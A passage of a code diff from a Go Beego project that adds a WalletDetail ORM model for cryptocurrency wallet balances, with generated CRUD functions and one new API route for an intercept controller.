+	ExchangeFee              string `orm:"column(exchange_fee)" json:"exchange_fee"`
+	LegacyTokenUsdt          string `orm:"column(legacy_token_usdt)" json:"legacy_token_usdt"`
+	CoalesceCreditUsdt       string `orm:"column(coalesce_credit_usdt)" json:"coalesce_credit_usdt"`
+	UsdtWithdrawLimit        string `orm:"column(usdt_withdraw_limit)" json:"usdt_withdraw_limit"`
+	XaiceUsdtAddress         string `orm:"column(xaice_usdt_address)" json:"xaice_usdt_address"`
+	XaiceUsdtWithdrawStatus  int    `orm:"column(xaice_usdt_withdraw_status)" json:"xaice_usdt_withdraw_status"`
+	LockAice                 string `orm:"column(lock_aice)" json:"lock_aice"`
+	MusicAmount              string `orm:"column(music_amount)" json:"music_amount"`
+	ReleaseAice              string `orm:"column(release_aice)" json:"release_aice"`
+	ReleaseAiceValue         string `orm:"column(release_aice_value)" json:"release_aice_value"`
+}
+
+func (t *WalletDetail) TableName() string {
+	return "wallet_detail"
+}
+
+func init() {
+	orm.RegisterModel(new(WalletDetail))
+}
+
+// AddWalletDetail insert a new WalletDetail into database and returns
+// last inserted Id on success.
+func AddWalletDetail(m *WalletDetail) (id int64, err error) {
+	o := orm.NewOrm()
+	id, err = o.Insert(m)
+	return
+}
+
+// GetWalletDetailById retrieves WalletDetail by Id. Returns error if
+// Id doesn't exist
+func GetWalletDetailById(id int) (v *WalletDetail, err error) {
+	o := orm.NewOrm()
+	v = &WalletDetail{WalletDetailId: id}
+	if err = o.Read(v); err == nil {
+		return v, nil
+	}
+	return nil, err
+}
+
+// GetAllWalletDetail retrieves all WalletDetail matches certain condition. Returns empty list if
+// no records exist
+func GetAllWalletDetail(query map[string]string, fields []string, sortby []string, order []string,
+	offset int64, limit int64) (ml []interface{}, err error) {
+	o := orm.NewOrm()
+	qs := o.QueryTable(new(WalletDetail))
+	// query k=v
+	for k, v := range query {
+		// rewrite dot-notation to Object__Attribute
+		k = strings.Replace(k, ".", "__", -1)
+		if strings.Contains(k, "isnull") {
+			qs = qs.Filter(k, (v == "true" || v == "1"))
+		} else {
+			qs = qs.Filter(k, v)
+		}
+	}
+	// order by:
+	var sortFields []string
+	if len(sortby) != 0 {
+		if len(sortby) == len(order) {
+			// 1) for each sort field, there is an associated order
+			for i, v := range sortby {
+				orderby := ""
+				if order[i] == "desc" {
+					orderby = "-" + v
+				} else if order[i] == "asc" {
+					orderby = v
+				} else {
+					return nil, errors.New("Error: Invalid order. Must be either [asc|desc]")
+				}
+				sortFields = append(sortFields, orderby)
+			}
+			qs = qs.OrderBy(sortFields...)
+		} else if len(sortby) != len(order) && len(order) == 1 {
+			// 2) there is exactly one order, all the sorted fields will be sorted by this order
+			for _, v := range sortby {
+				orderby := ""
+				if order[0] == "desc" {
+					orderby = "-" + v
+				} else if order[0] == "asc" {
+					orderby = v
+				} else {
+					return nil, errors.New("Error: Invalid order. Must be either [asc|desc]")
+				}
+				sortFields = append(sortFields, orderby)
+			}
+		} else if len(sortby) != len(order) && len(order) != 1 {
+			return nil, errors.New("Error: 'sortby', 'order' sizes mismatch or 'order' size is not 1")
+		}
+	} else {
+		if len(order) != 0 {
+			return nil, errors.New("Error: unused 'order' fields")
+		}
+	}
+
+	var l []WalletDetail
+	qs = qs.OrderBy(sortFields...)
+	if _, err = qs.Limit(limit, offset).All(&l, fields...); err == nil {
+		if len(fields) == 0 {
+			for _, v := range l {
+				ml = append(ml, v)
+			}
+		} else {
+			// trim unused fields
+			for _, v := range l {
+				m := make(map[string]interface{})
+				val := reflect.ValueOf(v)
+				for _, fname := range fields {
+					m[fname] = val.FieldByName(fname).Interface()
+				}
+				ml = append(ml, m)
+			}
+		}
+		return ml, nil
+	}
+	return nil, err
+}
+
+// UpdateWalletDetail updates WalletDetail by Id and returns error if
+// the record to be updated doesn't exist
+func UpdateWalletDetailById(m *WalletDetail) (err error) {
+	o := orm.NewOrm()
+	v := WalletDetail{WalletDetailId: m.WalletDetailId}
+	// ascertain id exists in the database
+	if err = o.Read(&v); err == nil {
+		var num int64
+		if num, err = o.Update(m); err == nil {
+			fmt.Println("Number of records updated in database:", num)
+		}
+	}
+	return
+}
+
+// DeleteWalletDetail deletes WalletDetail by Id and returns error if
+// the record to be deleted doesn't exist
+func DeleteWalletDetail(id int) (err error) {
+	o := orm.NewOrm()
+	v := WalletDetail{WalletDetailId: id}
+	// ascertain id exists in the database
+	if err = o.Read(&v); err == nil {
+		var num int64
+		if num, err = o.Delete(&WalletDetail{WalletDetailId: id}); err == nil {
+			fmt.Println("Number of records deleted in database:", num)
+		}
+	}
+	return
+}

+ 1 - 0
routers/router.go

@@ -21,6 +21,7 @@ func init() {
 	)
 	nsApi := beego.NewNamespace("/api",
 		beego.NSRouter("/inter/sycdata", &api.InterceptController{}, "post:Sycdata"),
+		beego.NSRouter("/inter/apidatainert", &api.InterceptController{}, "post:Apidatainert"),
 	)
 	beego.AddNamespace(nsAdmin)
 	beego.AddNamespace(nsApi)